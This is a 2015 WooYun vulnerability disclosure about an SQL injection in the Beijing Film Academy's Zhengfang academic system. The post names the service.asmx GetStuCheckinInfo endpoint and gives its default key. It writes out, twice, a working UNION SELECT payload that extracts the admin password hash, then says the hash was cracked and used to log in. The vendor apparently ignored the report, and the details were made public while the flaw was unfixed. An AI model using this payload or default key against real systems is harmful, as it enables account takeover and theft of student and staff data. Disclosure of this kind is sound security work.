当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0155877

漏洞标题：北影教务系统注入

相关厂商：北影

漏洞作者： 路人甲

提交时间：2015-11-25 18:29

修复时间：2015-11-30 18:30

公开时间：2015-11-30 18:30

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：5

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-25： 细节已通知厂商并且等待厂商处理中
2015-11-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

北影教务系统注入

详细说明：

北京电影学院教务系统注入

1.png


正方教务系统爆出了一个注入。在webservice接口。
在于service.asmx路径

2.png


• 漏洞在于
• GetStuCheckinInfo
这个接口

3.png


其中我们只需要填写xh 和 strKey 这两个节点就可以了。
其中的strKey都是默认的KKKGZ2312
Xh这个节点输入的就是我们的注入语句了。
构造语句

222222' union select 
Null,kl,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null
,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null from yhb where yhm='jwc01


yhb用户表， yhm用户名 kl口令。
表示查询的是yhm表中的 yhm列是jwc01的 kl记录。
我们构造好语句开始注入

4.png


可以看到jwc01用户的密码密文出来了。
然后我们拿去解个密

5.png


Ok可以登录了

6.png


Bingo

7.png



8.png


北影的美女多多，

由于漏洞还未修复，请不要随意破坏
谢谢观赏。

漏洞证明：

北京电影学院教务系统注入

1.png


正方教务系统爆出了一个注入。在webservice接口。
在于service.asmx路径

2.png


• 漏洞在于
• GetStuCheckinInfo
这个接口

3.png


其中我们只需要填写xh 和 strKey 这两个节点就可以了。
其中的strKey都是默认的KKKGZ2312
Xh这个节点输入的就是我们的注入语句了。
构造语句

222222' union select 
Null,kl,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null
,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null from yhb where yhm='jwc01


yhb用户表， yhm用户名 kl口令。
表示查询的是yhm表中的 yhm列是jwc01的 kl记录。
我们构造好语句开始注入

4.png


可以看到jwc01用户的密码密文出来了。
然后我们拿去解个密

5.png


Ok可以登录了

6.png


Bingo

7.png



8.png


北影的美女多多，

由于漏洞还未修复，请不要随意破坏
谢谢观赏。

修复方案：

升级

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-30 18:30

厂商回复：

最新状态：

暂无